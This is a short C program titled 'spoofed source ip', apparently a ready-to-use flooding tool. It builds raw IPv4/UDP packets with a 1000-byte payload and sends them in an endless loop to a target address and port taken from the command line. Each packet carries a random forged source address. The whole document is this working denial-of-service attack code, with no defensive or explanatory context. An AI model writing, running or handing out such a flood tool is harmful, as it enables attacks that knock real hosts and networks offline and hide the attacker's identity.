spoofed source ip

#include <sys/socket.h>
#include <arpa/inet.h>
#include <netinet/in.h>
#include <netinet/ip.h>
#include <netinet/udp.h>
#include <stdio.h>
#include <cstdlib>
#include <time.h>
#include <string.h>

int main(int argc, char *argv[])
{
  // Args.
  if(argc != 3) { printf("Usage: $s [ip] [port]\n", argv[0]); exit(1); }
  char* ipaddr = argv[1];
  int port = atoi(argv[2]);

  // Sockaddr.
  struct sockaddr_in addr;
  addr.sin_family = AF_INET;
  addr.sin_port = htons(port);
  addr.sin_addr.s_addr = inet_addr(ipaddr);
  int salen = sizeof(struct sockaddr_in);

  // Buffer.
  char buf[1500];

  // Rand.
  srand(time(0));

  // Socket.
  int sock = socket(AF_INET, SOCK_RAW, IPPROTO_RAW);
  if(sock <= 0) { printf("Unable to create raw socket.\n"); exit(1); }

  // IP struct.
  struct ip *iph = (struct ip*)buf;
  iph->ip_hl = 5;
  iph->ip_v = 4;
  iph->ip_len = 0x0000;
  iph->ip_tos = 0;
  iph->ip_id = htonl(0xffff);
  iph->ip_ttl = 255;
  iph->ip_off = 0;
  iph->ip_p = 0x11;
  iph->ip_sum = 0;
  iph->ip_src.s_addr = 0;
  iph->ip_dst.s_addr = inet_addr(ipaddr);

  // UDP struct.
  struct udphdr *udp = (struct udphdr*)(buf + sizeof(struct ip));
  udp->source = htons(1337);
  udp->dest = htons(port);
  udp->len = htons(8 + 1000);
  udp->check = 0;

  // Data.
  memset(buf+sizeof(struct ip)+sizeof(struct udphdr), 0xff, 1000);
  int len = sizeof(struct ip) + sizeof(struct udphdr) + 1000;

  for(;;)
  {
    iph->ip_src.s_addr = rand();
    sendto(sock, buf, len , 0, (struct sockaddr *)&addr, salen);
  }

  return 0;
}